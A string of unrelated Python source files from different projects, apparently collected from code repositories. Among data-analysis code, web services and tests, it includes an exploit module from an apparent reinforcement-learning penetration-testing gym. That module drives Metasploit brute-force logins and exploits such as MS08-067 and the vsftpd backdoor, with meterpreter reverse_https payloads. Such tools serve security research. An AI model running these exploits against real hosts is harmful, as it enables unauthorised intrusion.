prod_df.reset_index(drop=False) # get n_prod counts n_prod_df = prod_df.groupby('strain_slug')['anon_producer'].count() prod_df = prod_df.merge(n_prod_df.rename('n_prod'), left_on='strain_slug', right_index=True) prod_df = prod_df.merge(n_samp_df.rename('n_samps'), left_on=['anon_producer','strain_slug'], right_index=True) # subset to n_prod_min and thc-dom fin_prod_df = prod_df.loc[(prod_df['n_prod']>=n_prod_min)].sort_values(['n_prod','strain_slug','anon_producer'], ascending=[False, False, True]).copy() fin_prod_df['strain_slug'] = fin_prod_df['strain_slug'].astype(str) return fin_prod_df def get_pal_dict(df, common_terps, terp_dict): pal_dict = {} for label in set(df['kmeans_label']): terp_order = df.loc[df['kmeans_label']==label, common_terps].mean().sort_values(ascending=False) pal_dict[label] = terp_dict[terp_order[:1].index[0]] return pal_dict def get_kmeans(df, common_terps, k=3): df_norm, arr, model = run_pca(df, common_terps, norm=True, n_components=3) # set up kmeans clust = KMeans(3, random_state=56) # get cluster labels df_norm['kmeans_label'] = clust.fit_predict(df_norm[common_terps]) clust_dict = {x:y for x,y in zip(df_norm['kmeans_label'].value_counts().index, ['A','B','C'])} df_norm['kmeans_label'] = df_norm['kmeans_label'].replace(clust_dict) return df_norm def get_umap(df, common_terps, n_neighbors=6, random_state=56): umap_ = UMAP(n_components=2, n_neighbors=n_neighbors, random_state=random_state) X_terps_umap = umap_.fit_transform(df[common_terps]) df['umap_0'] = X_terps_umap[:,0] df['umap_1'] = X_terps_umap[:,1] return df def get_round(arr, sig_fig=1): return np.round(arr*100,sig_fig) def get_cos_sim(df, add_nan=False): sim_scores = cosine_similarity(df) if add_nan: sim_scores[sim_scores > 0.9999999999999] = np.nan else: sim_scores[sim_scores > 0.9999999999999] = 1 return sim_scores def group_cos_sim(df, group_level=False): if df.shape[0]==1: # if only one product, do not return cos sim return np.nan else: sim_scores = get_cos_sim(df, add_nan=True) if group_level: return np.mean(np.nanmean(sim_scores, axis=0)) else: return list(np.nanmean(sim_scores, axis=0)) def format_df(df): return df.explode().to_frame().rename(columns={0:'bw_prod_sim'}).reset_index(drop=False) def weighted_avg(avgs, weights): return np.average(avgs, weights=weights) def run_all_cos_sims(df, cols, groupby='strain_slug'): groups = df.groupby(groupby)[cols] bw_prod_df = format_df(groups.apply(lambda x: group_cos_sim(x))) avgs = groups.apply(lambda x: group_cos_sim(x, group_level=True)) weights = groups.size()[groups.size()>1] return bw_prod_df, avgs, weights def run_kde(df, ax, **kwargs): no_nan = df.dropna(subset=[kwargs['x'], kwargs['y']], how='any') sub_df = sample_df(no_nan, kwargs['sample_frac']) _ = sns.kdeplot(x=kwargs['x'], y=kwargs['y'], data=sub_df, fill=True, cmap='RdBu_r', cbar=True, vmin=0, levels=75, ax=ax) return ax def run_line(df, ax, **kwargs): _ = ax.plot(kwargs['x'], kwargs['y']) return ax def run_scatter_5(df, ax, **kwargs): no_nan = df.dropna(subset=[kwargs['x'], kwargs['y']], how='any') sub_df = sample_df(no_nan, kwargs['sample_frac']) if 'size' in kwargs: s = kwargs['size'] else: s = mpl.rcParams['lines.markersize']**2 if 'edgecolor' in kwargs: ec = kwargs['edgecolor'] else: ec = 'white' hue_order = ['THC-Dom', 'Bal THC/CBD', 'CBD-Dom'] s_colors = ['darkblue', 'steelblue', 'black'] s_markers = ['D', '^', 'o'] for ct, color, marker in zip(hue_order, s_colors, s_markers): if ct=='THC-Dom': sns.scatterplot(x=kwargs['x'], y=kwargs['y'], data=sub_df.loc[df['chemotype']==ct], alpha=.5, color=color, marker=marker, s=25, edgecolor='white', linewidth=0.5, label=ct, ax=ax) else: sns.scatterplot(x=kwargs['x'], y=kwargs['y'], data=sub_df.loc[df['chemotype']==ct], alpha=1, color=color, marker=marker, s=25, edgecolor='white', linewidth=0.5, label=ct, ax=ax) # include full ns handles, labels = ax.get_legend_handles_labels() if 'n_display' in kwargs: labels_n = [(cat, df.loc[df[kwargs['hue']]==cat].shape[0]) for cat in hue_order] labels = [cat+'\nn='+str(n) for cat, n in labels_n] ax.legend(handles=handles[:kwargs['n_display']], labels=labels[:kwargs['n_display']], title=kwargs['hue'].title(), handlelength=4) else: labels_n = [(cat, df.loc[df[kwargs['hue']]==cat].shape[0]) for cat in hue_order] labels = [cat+'\nn='+str(n) for cat, n in labels_n] ax.legend(handles=handles, labels=labels, title=kwargs['hue'].title(), handlelength=4) return ax
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QuestionTime/questions/api/permissions.py
pogginicolo98/QuestionTime
0
170789
from rest_framework import permissions class IsAuthorOrReadOnly(permissions.BasePermission): """ * Everyone can use safe methods ('GET', 'HEAD', 'OPTIONS') * Users can write data (create, update, ecc..) only for their own Question instances. """ def has_object_permission(self, request, view, obj): if request.method in permissions.SAFE_METHODS: return True return obj.author == request.user
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app/api/data/service.py
nccr-itmo/FedotWeb
1
39659
from pathlib import Path from typing import List, Optional, Tuple from app.api.meta.service import task_type_from_id from fedot.core.data.data import DataTypesEnum, InputData from fedot.core.repository.tasks import Task, TaskParams, TsForecastingParams from flask import current_app from utils import project_root default_datasets = { 'scoring': { 'train': 'scoring/scoring_train.csv', 'test': 'scoring/scoring_test.csv', 'data_type': DataTypesEnum.table }, 'metocean': { 'train': 'metocean/metocean_train.csv', 'test': 'metocean/metocean_test.csv', 'data_type': DataTypesEnum.ts }, 'oil': { 'train': 'oil/oil_train.csv', 'test': 'oil/oil_test.csv', 'data_type': DataTypesEnum.table } } data_types = { 'ts': DataTypesEnum.ts, 'table': DataTypesEnum.table, 'image': DataTypesEnum.image, 'text': DataTypesEnum.text, } def get_datasets_names() -> List[str]: return list(default_datasets) def get_dataset_metadata(dataset_name: str, sample_type: str) -> Tuple[int, int]: data = get_input_data(dataset_name, sample_type) if data is None: raise ValueError(f'Data for dataset_name={dataset_name} with sample_type={sample_type} must exists') if len(data.features.shape) > 1: n_features, n_rows = data.features.shape[1], data.features.shape[0] else: n_features, n_rows = 1, len(data.features) return n_features, n_rows def get_input_data(dataset_name: str, sample_type: str, task_type: Optional[str] = None, task_params: Optional[TaskParams] = None) -> Optional[InputData]: try: dataset = default_datasets[dataset_name] data_path = dataset[sample_type] if task_params is None and task_type == 'ts_forecasting': # forecast_length should be defined task_params = TsForecastingParams(forecast_length=30) task = Task(task_type_from_id(task_type), task_params) if task_type is not None else None file_path = Path(project_root(), 'data', data_path) if dataset['data_type'] == DataTypesEnum.ts: data = InputData.from_csv_time_series(file_path=file_path, task=task, target_column='target') else: data = InputData.from_csv(file_path=file_path, task=task, data_type=dataset['data_type']) return data except KeyError as ex: print(f'Dataset {dataset_name} has no data for {sample_type}: {ex}') return None
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metasploit_gym/action/exploit.py
phreakAI/MetasploitGym
6
36283
<reponame>phreakAI/MetasploitGym """Exploits currently supported Straightforward to add more following the basic model presented here """ from .action import Exploit import time def wait_for_job_completion(job_info, client): if job_info is not None: if "error" in job_info: return job_is_running = True while job_is_running: job_id = job_info["uuid"] results = client.jobs.info_by_uuid(job_id) if "error" in results: return if results["status"] == "completed": job_is_running = False else: time.sleep(1) class SSH_Bruteforce(Exploit): """port 22 bruteforce https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/ssh/ssh_login.rb """ def __init__(self, target=(0, 0)): self.name = "SSH_Bruteforce" self.service = "ssh" self.target = target self.req_access = None self.req_os = None self.req_version = None super(Exploit, self).__init__( self.name, self.target, self.req_access, self.req_os, self.req_version ) def execute(self, client, host, port=22): """ :param client: metasploit client object :param host: string representing IP of the target :param port: default port 22 :return: """ exploit = client.modules.use("auxiliary", "scanner/ssh/ssh_login") exploit["RHOSTS"] = host exploit["RPORT"] = port # TODO: This should be detected based on metasploit rpc server exploit["USERPASS_FILE"] = "/usr/share/metasploit-framework/data/wordlists" job_info = exploit.execute() wait_for_job_completion(job_info, client) class FTP_Bruteforce(Exploit): """port 23 bruteforce https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/ftp/ftp_login.rb """ def __init__(self, target=(0, 0)): self.name = "FTP_Bruteforce" self.service = "ftp" self.target = target self.req_access = None self.req_os = None self.req_version = None super(Exploit, self).__init__( self.name, self.target, self.req_access, self.req_os, self.req_version ) def execute(self, client, host, port=23): """ :param client: metasploit client object :param host: string representing IP of the target :param port: default port 23 :return: """ exploit = client.modules.use("auxiliary", "scanner/ftp/ftp_login") exploit["RHOSTS"] = host exploit["RPORT"] = port # TODO: This should be detected based on metasploit rpc server exploit["USERPASS_FILE"] = "/usr/share/metasploit-framework/data/wordlists" job_info = exploit.execute() wait_for_job_completion(job_info, client) class SMB_Bruteforce(Exploit): """ port 445 bruteforce https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/smb/smb_login.rb """ def __init__(self, target=(0, 0)): self.name = "SMB_Bruteforce" self.service = "Microsoft-DS" self.target = target self.req_access = None self.req_os = None self.req_version = None super(Exploit, self).__init__( self.name, self.target, self.req_access, self.req_os, self.req_version ) def execute(self, client, host, port=445): """ :param client: metasploit client object :param host: string representing IP of the target :param port: default port 445 :return: """ exploit = client.modules.use("auxiliary", "scanner/smb/smb_login") exploit["RHOSTS"] = host exploit["RPORT"] = port exploit[ "USERPASS_FILE" ] = "/usr/share/metasploit-framework/data/wordlists" # TODO: This should be detected based on metasploit rpc server job_info = exploit.execute() wait_for_job_completion(job_info, client) class Telnet_Bruteforce(Exploit): """port 23 bruteforce https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/telnet/telnet_login.rb """ def __init__(self, target=(0, 0)): self.name = "Telnet_Bruteforce" self.service = "telnet" self.target = target self.req_access = None self.req_os = None self.req_version = None super(Exploit, self).__init__( self.name, self.target, self.req_access, self.req_os, self.req_version ) def execute(self, client, host, port=445): """ :param client: metasploit client object :param host: string representing IP of the target :param port: default port 445 :return: """ exploit = client.modules.use("auxiliary", "scanner/telnet/telnet_login") exploit["RHOSTS"] = host exploit["RPORT"] = port exploit[ "USERPASS_FILE" ] = "/usr/share/metasploit-framework/data/wordlists" # TODO: This should be detected based on metasploit rpc server job_info = exploit.execute() wait_for_job_completion(job_info, client) class VSFTPD(Exploit): """use exploit/unix/ftp/vsftpd_234_backdoor https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb Args: Exploit ([type]): vsftpd 2.3.4 port 21 Raises: NotImplementedError: [description] """ def __init__(self, target=(0, 0)): self.name = "VSFTPD" self.service = "ftp" self.target = target self.req_access = None self.req_os = "unix" self.req_version = None super(Exploit, self).__init__( self.name, self.target, self.req_access, self.req_os, self.req_version ) def execute(self, client, host, port=21): """ :param client: metasploit client object :param host: string representing IP of the target :param port: default port 21 :return: """ exploit = client.modules.use("exploit", "unix/ftp/vsftpd_234_backdoor") exploit["RHOSTS"] = host exploit["RPORT"] = port job_info = exploit.execute(payload="cmd/unix/interact") wait_for_job_completion(job_info, client) class JavaRMIServer(Exploit): """[summary] https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/modules/exploits/multi/misc/java_rmi_server.rb Args: Exploit ([type]): [description] """ def __init__(self, target=(0, 0)): self.name = "Java_RMI_Server" self.service = "http" self.target = target self.req_access = None self.req_os = None self.req_version = None super(Exploit, self).__init__( self.name, self.target, self.req_access, self.req_os, self.req_version ) def execute(self, client, host, port=1099): """ :param client: metasploit client object :param host: string representing IP of the target :param port: default port 21 :return: """ exploit = client.modules.use("exploit", "multi/misc/java_rmi_server") exploit["RHOSTS"] = host exploit["RPORT"] = port exploit.execute(cmd="java/meterpreter/reverse_https") class Ms08_067_Netapi(Exploit): """https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/ms08_067_netapi.rb Classic smb exploitation through crafted rpc packet. Works great on windows xp. Args: Exploit ([type]): [description] """ def __init__(self, target=(0, 0)): self.name = "ms08_067_netapi" self.service = "Microsoft-DS" self.target = target self.req_access = None self.req_os = "win" self.req_version = None super(Exploit, self).__init__( self.name, self.target, self.req_access, self.req_os, self.req_version ) def execute(self, client, host, port=445): """ :param client: metasploit client object :param host: string representing IP of the target :param port: default port 21 :return: """ exploit = client.modules.use("exploit", "windows/smb/ms08_067_netapi") exploit["RHOSTS"] = host exploit["RPORT"] = port job_info = exploit.execute(cmd="windows/meterpreter/reverse_https") wait_for_job_completion(job_info, client) class ManageEngine_Auth_Upload(Exploit): """https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/manageengine_auth_upload.rb Http upload that allows remote code execution on ManageEngine ServiceDesk TODO: Find a vulnerable copy of this for building environments. oy vey. Args: Exploit ([type]): [description] """ def __init__(self, target=(0, 0)): self.name = "ManageEngine_Auth_Upload" self.service = "http" self.target = target self.req_access = None self.req_os = None self.req_version = None super(Exploit, self).__init__( self.name, self.target, self.req_access, self.req_os, self.req_version ) def execute(self, client, host, port=8080): """ :param client: metasploit client object :param host: string representing IP of the target :param port: default port 21 :return: """ exploit = client.modules.use("exploit", "multi/http/manageengine_auth_upload") exploit["RHOSTS"] = host exploit["RPORT"] = port job_info = exploit.execute(cmd="java/meterpreter/reverse_https") wait_for_job_completion(job_info, client) class ApacheJamesExecution(Exploit): """https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/smtp/apache_james_exec.rb 'Name' => "Apache James Server 2.3.2 Insecure User Creation Arbitrary File Write" Args: Exploit ([type]): [description] """ def __init__(self, target=(0, 0)): self.name = "Apache_James_InsecureUserCreation" self.service = "smpt" self.target = target self.req_access = None self.req_os = "linux" self.req_version = None super(Exploit, self).__init__( self.name, self.target, self.req_access, self.req_os, self.req_version ) def execute(self, client, host, port=8080): """ :param client: metasploit client object :param host: string representing IP of the target :param port: default port 21 :return: """ exploit = client.modules.use("exploit", "multi/http/manageengine_auth_upload") exploit["RHOSTS"] = host exploit["RPORT"] = port job_info = exploit.execute(cmd="java/meterpreter/reverse_https") wait_for_job_completion(job_info, client) class SambaUsermapScript(Exploit): """https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/samba/usermap_script.rb 'Name' => "Samba "username map script" Command Execution" Args: Exploit ([type]): [description] """ def __init__(self, target=(0, 0)): self.name = "Samba_Usermap_Script" self.target = target self.service = "NetBIOS-SSN" self.req_access = None self.req_os = "multi" self.req_version = None super(Exploit, self).__init__( self.name, self.target, self.req_access, self.req_os, self.req_version ) def execute(self, client, host, port=139): """ :param client: metasploit client object :param host: string representing IP of the target :param port: default port 139 :return: """ exploit = client.modules.use("exploit", "multi/samba/usermap_script") exploit["RHOSTS"] = host exploit["RPORT"] = port job_info = exploit.execute(cmd="java/meterpreter/reverse_https") wait_for_job_completion(job_info, client) class ApacheTomcatAuthenticationCodeExecution(Exploit): """https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/tomcat_mgr_deploy.rb 'Name' => "Apache Tomcat Manager Application Deployer Authenticated Code Execution" Args: Exploit ([type]): [description] """ def __init__(self, target=(0, 0)): self.name = "Apache_Tomcat_Execution" self.target = target self.service = "http" self.req_access = None self.req_os = "multi" self.req_version = None super(Exploit, self).__init__( self.name, self.target, self.req_access, self.req_os, self.req_version ) def execute(self, client, host, port=8080): """ :param client: metasploit client object :param host: string representing IP of the target :param port: default port None :return: """ exploit = client.modules.use("exploit", "multi/http/tomcat_mgr_deploy") exploit["RHOSTS"] = host exploit["RPORT"] = port job_info = exploit.execute(cmd="java/meterpreter/reverse_https") wait_for_job_completion(job_info, client) class Jenkins_CI_Script_Java_Execution(Exploit): """https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/jenkins_script_console.rb 'Name' => "Jenkins-CI Script-Console Java Execution" Args: Exploit ([type]): [description] """ def __init__(self, target=(0, 0)): self.name = "Jenkins_CI_Script_Console_Java_Execution" self.service = "http" self.target = target self.req_access = None self.req_os = "multi" self.req_version = None super(Exploit, self).__init__( self.name, self.target, self.req_access, self.req_os, self.req_version ) def execute(self, client, host, port=8080): """ :param client: metasploit client object :param host: string representing IP of the target :param port: default port 8080 :return: """ exploit = client.modules.use("exploit", "multi/http/jenkins_script_console") exploit["RHOSTS"] = host exploit["RPORT"] = port job_info = exploit.execute(cmd="java/meterpreter/reverse_https") wait_for_job_completion(job_info, client)
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docs/examples/container/rancher/search_containers.py
dupontz/libcloud
1,435
46701
<reponame>dupontz/libcloud<gh_stars>1000+ from libcloud.container.types import Provider from libcloud.container.providers import get_driver driver = get_driver(Provider.RANCHER) connection = driver("MYRANCHERACCESSKEY", "MYRANCHERSECRETKEY", host="172.30.22.1", port=8080, secure=False) search_results = connection.ex_search_containers( search_params={"imageUuid": "docker:mysql", "state": "running"}) id_of_first_result = search_results[0]['id']
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simfile/_private/serializable.py
garcia/simfile
22
22410
<filename>simfile/_private/serializable.py<gh_stars>10-100 from abc import ABCMeta, abstractmethod from io import StringIO from typing import TextIO class Serializable(metaclass=ABCMeta): @abstractmethod def serialize(self, file: TextIO) -> None: """ Write the object to provided text file object as MSD. """ pass def __str__(self) -> str: """ Convert the object to an MSD string. """ serialized = StringIO() self.serialize(serialized) return serialized.getvalue()
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dotviewer/graphserver.py
nanjekyejoannah/pypy
333
135382
#! /usr/bin/env python """Graph server. From the command-line it's easier to use sshgraphserver.py instead of this. """ from __future__ import print_function, absolute_import import os, sys PARENTDIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # make dotviewer importable sys.path.insert(0, PARENTDIR) from dotviewer import msgstruct try: from cStringIO import StringIO except ImportError: from io import StringIO try: import thread except ImportError: import _thread as thread class Server(object): def __init__(self, io): self.io = io self.display = None def run(self, only_one_graph=False): # wait for the CMSG_INIT message msg = self.io.recvmsg() if msg[0] != msgstruct.CMSG_INIT or msg[1] != msgstruct.MAGIC: raise ValueError("bad MAGIC number") # process messages until we have a pygame display while self.display is None: self.process_next_message() # start a background thread to process further messages if not only_one_graph: thread.start_new_thread(self.process_all_messages, ()) # give control to pygame self.display.run1() def process_all_messages(self): try: while True: self.process_next_message() except EOFError: from dotviewer.drawgraph import display_async_quit display_async_quit() def process_next_message(self): msg = self.io.recvmsg() fn = self.MESSAGES.get(msg[0]) if fn: fn(self, *msg[1:]) else: self.log("unknown message code %r" % (msg[0],)) def log(self, info): print(info, file=sys.stderr) def setlayout(self, layout): if self.display is None: # make the initial display from dotviewer.graphdisplay import GraphDisplay self.display = GraphDisplay(layout) else: # send an async command to the display running the main thread from dotviewer.drawgraph import display_async_cmd display_async_cmd(layout=layout) def cmsg_start_graph(self, graph_id, scale, width, height, *rest): from dotviewer.drawgraph import GraphLayout self.newlayout = GraphLayout(float(scale), float(width), float(height)) def request_reload(): self.io.sendmsg(msgstruct.MSG_RELOAD, graph_id) def request_followlink(word): self.io.sendmsg(msgstruct.MSG_FOLLOW_LINK, graph_id, word) self.newlayout.request_reload = request_reload self.newlayout.request_followlink = request_followlink def cmsg_add_node(self, *args): self.newlayout.add_node(*args) def cmsg_add_edge(self, *args): self.newlayout.add_edge(*args) def cmsg_add_link(self, word, *info): if len(info) == 1: info = info[0] elif len(info) >= 4: info = (info[0], info[1:4]) self.newlayout.links[word] = info def cmsg_fixed_font(self, *rest): self.newlayout.fixedfont = True def cmsg_stop_graph(self, *rest): self.setlayout(self.newlayout) del self.newlayout self.io.sendmsg(msgstruct.MSG_OK) def cmsg_missing_link(self, *rest): self.setlayout(None) def cmsg_say(self, errmsg, *rest): from drawgraph import display_async_cmd display_async_cmd(say=errmsg) MESSAGES = { msgstruct.CMSG_START_GRAPH: cmsg_start_graph, msgstruct.CMSG_ADD_NODE: cmsg_add_node, msgstruct.CMSG_ADD_EDGE: cmsg_add_edge, msgstruct.CMSG_ADD_LINK: cmsg_add_link, msgstruct.CMSG_FIXED_FONT: cmsg_fixed_font, msgstruct.CMSG_STOP_GRAPH: cmsg_stop_graph, msgstruct.CMSG_MISSING_LINK:cmsg_missing_link, msgstruct.CMSG_SAY: cmsg_say, } def listen_server(local_address, s1=None): import socket, graphclient, thread if isinstance(local_address, str): if ':' in local_address: interface, port = local_address.split(':') else: interface, port = '', local_address local_address = interface, int(port) if s1 is None: s1 = socket.socket() s1.bind(local_address) s1.listen(5) print('listening on %r...' % (s1.getsockname(),)) while True: conn, addr = s1.accept() print('accepted connection from %r' % (addr,)) sock_io = msgstruct.SocketIO(conn) handler_io = graphclient.spawn_local_handler() thread.start_new_thread(copy_all, (sock_io, handler_io)) thread.start_new_thread(copy_all, (handler_io, sock_io)) del sock_io, handler_io, conn def copy_all(io1, io2): try: while True: io2.sendall(io1.recv()) except EOFError: io2.close_sending() if __name__ == '__main__': if len(sys.argv) != 2: if len(sys.argv) == 1: # start locally import sshgraphserver sshgraphserver.ssh_graph_server(['LOCAL']) sys.exit(0) print(__doc__, file=sys.stderr) sys.exit(2) if sys.argv[1] == '--stdio': # a one-shot server running on stdin/stdout io = msgstruct.FileIO(getattr(sys.stdin, 'buffer', sys.stdin), getattr(sys.stdout, 'buffer', sys.stdout)) srv = Server(io) try: srv.run() except Exception as e: import traceback f = StringIO() traceback.print_exc(file=f) # try to add some explanations help = (" | if you want to debug on a remote machine, see\n" " | instructions in dotviewer/sshgraphserver.py\n") try: os.environ['PYGAME_HIDE_SUPPORT_PROMPT'] = "hide" import pygame if isinstance(e, pygame.error): print(help, file=f) except Exception as e: f.seek(0) f.truncate() print("%s: %s" % (e.__class__.__name__, e), file=f) print(" | Pygame is not installed; either install it, or", file=f) print(help, file=f) io.sendmsg(msgstruct.MSG_ERROR, f.getvalue()) else: listen_server(sys.argv[1])
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pyresttest/test_resttest.py
LGordon2/pyresttest
0
119279
import json import math import string import yaml import resttest import unittest from resttest import * class TestRestTest(unittest.TestCase): """ Tests to test overall REST testing framework, how meta is that? """ def test_analyze_benchmark(self): """ Test analyzing benchmarks to compute aggregates """ benchmark_result = BenchmarkResult() benchmark_config = Benchmark() benchmark_config.add_metric('request_size').add_metric('request_size','median') benchmark_config.add_metric('connect_time') benchmark_config.add_metric('total_time', 'mean_harmonic') benchmark_config.add_metric('total_time', 'std_deviation') benchmark_result.results = { 'connect_time': [1, 4, 7], 'request_size': [7, 8, 10], 'total_time': [0.5, 0.7, 0.9] } analyzed = analyze_benchmark_results(benchmark_result, benchmark_config) self.assertEqual(2, len(analyzed.results.keys())); # Check that number of measurements is sane distinct_metrics = set([x[0] for x in analyzed.aggregates]) distinct_aggregates = set([x[1] for x in analyzed.aggregates]) self.assertEqual(2, len(distinct_metrics)) self.assertEqual(3, len(distinct_aggregates)) self.assertEqual(3, len(analyzed.aggregates)) def test_metrics_to_tuples(self): """ Test method to build list(tuples) from raw metrics """ array1 = [-1, 5.6, 0] array2 = [3.2, -81, 800] array3 = [97, -3.4, 'cheese'] keys = sorted(['blah', 'foo', 'bar']) metrics = {keys[0]: array1, keys[1]: array2, keys[2]: array3} packed = metrics_to_tuples(metrics) headers = packed[0] # Check header generation for x in xrange(0, len(keys)): self.assertEqual(keys[x], headers[x]) # Check data was correctly converted to 2D format, in order of input for x in xrange(1, len(array1)+1): my_tuple = packed[x] self.assertEqual(array1[x-1], my_tuple[0]) self.assertEqual(array2[x-1], my_tuple[1]) self.assertEqual(array3[x-1], my_tuple[2]) def test_parse_headers(self): """ Basic header parsing tests """ headerstring = 'HTTP/1.1 200 OK\r\nDate: Mon, 29 Dec 2014 02:42:33 GMT\r\nExpires: -1\r\nCache-Control: private, max-age=0\r\nContent-Type: text/html; charset=ISO-8859-1\r\nX-XSS-Protection: 1; mode=block\r\nX-Frame-Options: SAMEORIGIN\r\nAlternate-Protocol: 80:quic,p=0.02\r\nTransfer-Encoding: chunked\r\n\r\n' header_dict = resttest.parse_headers(headerstring) self.assertTrue(isinstance(header_dict, dict)) self.assertEqual('-1', header_dict['expires']) self.assertEqual('private, max-age=0', header_dict['cache-control']) self.assertEqual(8, len(header_dict)) # Error cases # No headers result = resttest.parse_headers("") # Shouldn't throw exception self.assertTrue(isinstance(result, dict)) self.assertEqual(0, len(result)) # Just the HTTP prefix result = resttest.parse_headers('HTTP/1.1 200 OK\r\n\r\n') # Shouldn't throw exception self.assertTrue(isinstance(result, dict)) self.assertEqual(0, len(result)) if __name__ == '__main__': unittest.main()
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indra/tests/test_sparser.py
jmuhlich/indra
0
9447
<reponame>jmuhlich/indra from indra import sparser xml_str1 = ''' <article pmid="54321"> <interpretation> <sentence-text>MEK1 phosphorylates ERK1</sentence-text> <sem> <ref category="phosphorylate"> <var name="agent"> <ref category="protein"> <var name="name">MP2K1_HUMAN</var> <var name="uid">UP:MP2K1_HUMAN</var> </ref> </var> <var name="substrate"> <ref category="protein"> <var name="name">MK03_HUMAN</var> <var name="uid">UP:MK03_HUMAN</var> </ref> </var> <var name="present"><ref category="present"></ref></var> </ref> </sem> </interpretation> </article> ''' xml_str2 = ''' <article pmid="12345"> <interpretation> <sentence-text>Hence ASPP2 can be phosphorylated at serine 827 by MAPK1 in vitro</sentence-text> <sem> <ref category="phosphorylate"> <var name="subordinate-conjunction"> <ref category="subordinate-conjunction"><var name="word">hence</var></ref></var> <var name="substrate"> <ref category="protein"> <var name="name">ASPP2_HUMAN</var> <var name="uid">UP:ASPP2_HUMAN</var> </ref> </var> <var name="agent"> <ref category="protein"> <var name="context"> <ref category="in-vitro"></ref> </var> <var name="uid">UP:MK01_HUMAN</var> <var name="name">MK01_HUMAN</var> </ref> </var> <var name="site"> <ref category="residue-on-protein"> <var name="amino-acid"> <ref category="amino-acid"><var name="name">serine</var></ref> </var> <var name="position"> 827</var> </ref> </var> <var name="modal"><ref category="can"></ref></var> </ref> </sem> </interpretation> </article> ''' def test_invalid_xml(): sp = sparser.process_xml('xyz') assert(sp is None) def test_phosphorylation(): sp = sparser.process_xml(xml_str1) assert(len(sp.statements) == 1) assert(sp.statements[0].enz.name == 'MAP2K1') assert(sp.statements[0].sub.name == 'MAPK3') assert(len(sp.statements[0].evidence) == 1) ev = sp.statements[0].evidence[0] assert(ev.pmid == '54321') assert(ev.text) assert(ev.source_api == 'sparser') def test_phosphorylation2(): sp = sparser.process_xml(xml_str2) assert(len(sp.statements) == 1) assert(sp.statements[0].enz.name == 'MAPK1') assert(sp.statements[0].sub.name == 'TP53BP2') assert(sp.statements[0].residue == 'S') assert(sp.statements[0].position == '827') assert (len(sp.statements[0].evidence) == 1) ev = sp.statements[0].evidence[0] assert (ev.pmid == '12345') assert (ev.text) assert (ev.source_api == 'sparser')
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30.strings/16.replace.py
robinson-1985/python-zero-dnc
0
35675
# 15. replace() -> Altera determinado valor de uma string por outro. Troca uma string por outra. texto = 'vou Treinar todo Dia Python' print(texto.replace('vou','Vamos')) print(texto.replace('Python','Algoritmos'))
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test/test_fillgaps_lowpass_2d.py
JanisGailis/gridtools
0
131580
<filename>test/test_fillgaps_lowpass_2d.py import unittest import numpy as np from numpy.testing import assert_almost_equal import gridtools.gapfilling as gtg GAP = np.nan KERNEL = np.ones((3, 3), dtype=np.float64) class FillgapsLowpass2d(unittest.TestCase): def _test_fillgaps(self, src, desired_out, desired_gaps_filled): src = np.array(src) gc1 = gtg.count_gaps(src) actual_out = gtg.fillgaps_lowpass_2d(src, kernel=KERNEL) gc2 = gtg.count_gaps(actual_out) actual_gaps_filled = gc1 - gc2 assert_almost_equal(actual_out, np.array(desired_out)) self.assertEqual(actual_gaps_filled, desired_gaps_filled) def test_0_missing(self): self._test_fillgaps([[1.0, 2.0], [3.0, 4.0]], [[1.0, 2.0], [3.0, 4.0]], 0) def test_1_missing(self): self._test_fillgaps([[GAP]], [[GAP]], 0) _F_ = (2 + 3 + 4) / 3. self._test_fillgaps([[GAP, 2.0], [3.0, 4.0]], [[_F_, 2.0], [3.0, 4.0]], 1) _F_ = (1 + 2 + 3) / 3. self._test_fillgaps([[1.0, 2.0], [3.0, GAP]], [[1.0, 2.0], [3.0, _F_]], 1) _F_ = (1 + 2 + 3 + 4 + 6 + 7 + 8 + 9) / 8. self._test_fillgaps([[1.0, 2.0, 3.0], [4.0, GAP, 6.0], [7.0, 8.0, 9.0]], [[1.0, 2.0, 3.0], [4.0, _F_, 6.0], [7.0, 8.0, 9.0]], 1) def test_2_missing(self): self._test_fillgaps([[GAP, GAP]], [[GAP, GAP]], 0) F1_ = (2 + 3) / 2. F2_ = (2 + 3) / 2. self._test_fillgaps([[GAP, 2.0], [3.0, GAP]], [[F1_, 2.0], [3.0, F2_]], 2) F1_ = (2 + 4) / 2. F2_ = (2 + 3 + 4 + 6 + 7 + 8 + 9) / 7. self._test_fillgaps([[GAP, 2.0, 3.0], [4.0, GAP, 6.0], [7.0, 8.0, 9.0]], [[F1_, 2.0, 3.0], [4.0, F2_, 6.0], [7.0, 8.0, 9.0]], 2) def test_3_missing(self): self._test_fillgaps([[GAP, GAP], [GAP, 4.0]], [[4.0, 4.0], [4.0, 4.0]], 3) F1_ = 2. F2_ = (2 + 7 + 8) / 3. F3_ = (2 + 3 + 6 + 7 + 8 + 9) / 6. self._test_fillgaps([[GAP, 2.0, 3.0], [GAP, GAP, 6.0], [7.0, 8.0, 9.0]], [[F1_, 2.0, 3.0], [F2_, F3_, 6.0], [7.0, 8.0, 9.0]], 3) def test_4_missing(self): self._test_fillgaps([[GAP, GAP], [GAP, GAP]], [[GAP, GAP], [GAP, GAP]], 0) F1_ = (3 + 6) / 2. F2_ = (7 + 8) / 2. F3_ = (3 + 6 + 7 + 8 + 9) / 5. F4_ = (F1_ + F2_ + F3_) / 3. self._test_fillgaps([[GAP, GAP, 3.0], [GAP, GAP, 6.0], [7.0, 8.0, 9.0]], [[F4_, F1_, 3.0], [F2_, F3_, 6.0], [7.0, 8.0, 9.0]], 4) def test_9_missing(self): F1_ = (1 + 2 + 3 + 4 + 5 + 9) / 6. F2_ = (2 + 3 + 4) / 3. F3_ = (3 + 4) / 2. F4_ = (5 + 9 + 13) / 3. F5_ = (9 + 13) / 2. F6_ = (F1_ + F2_ 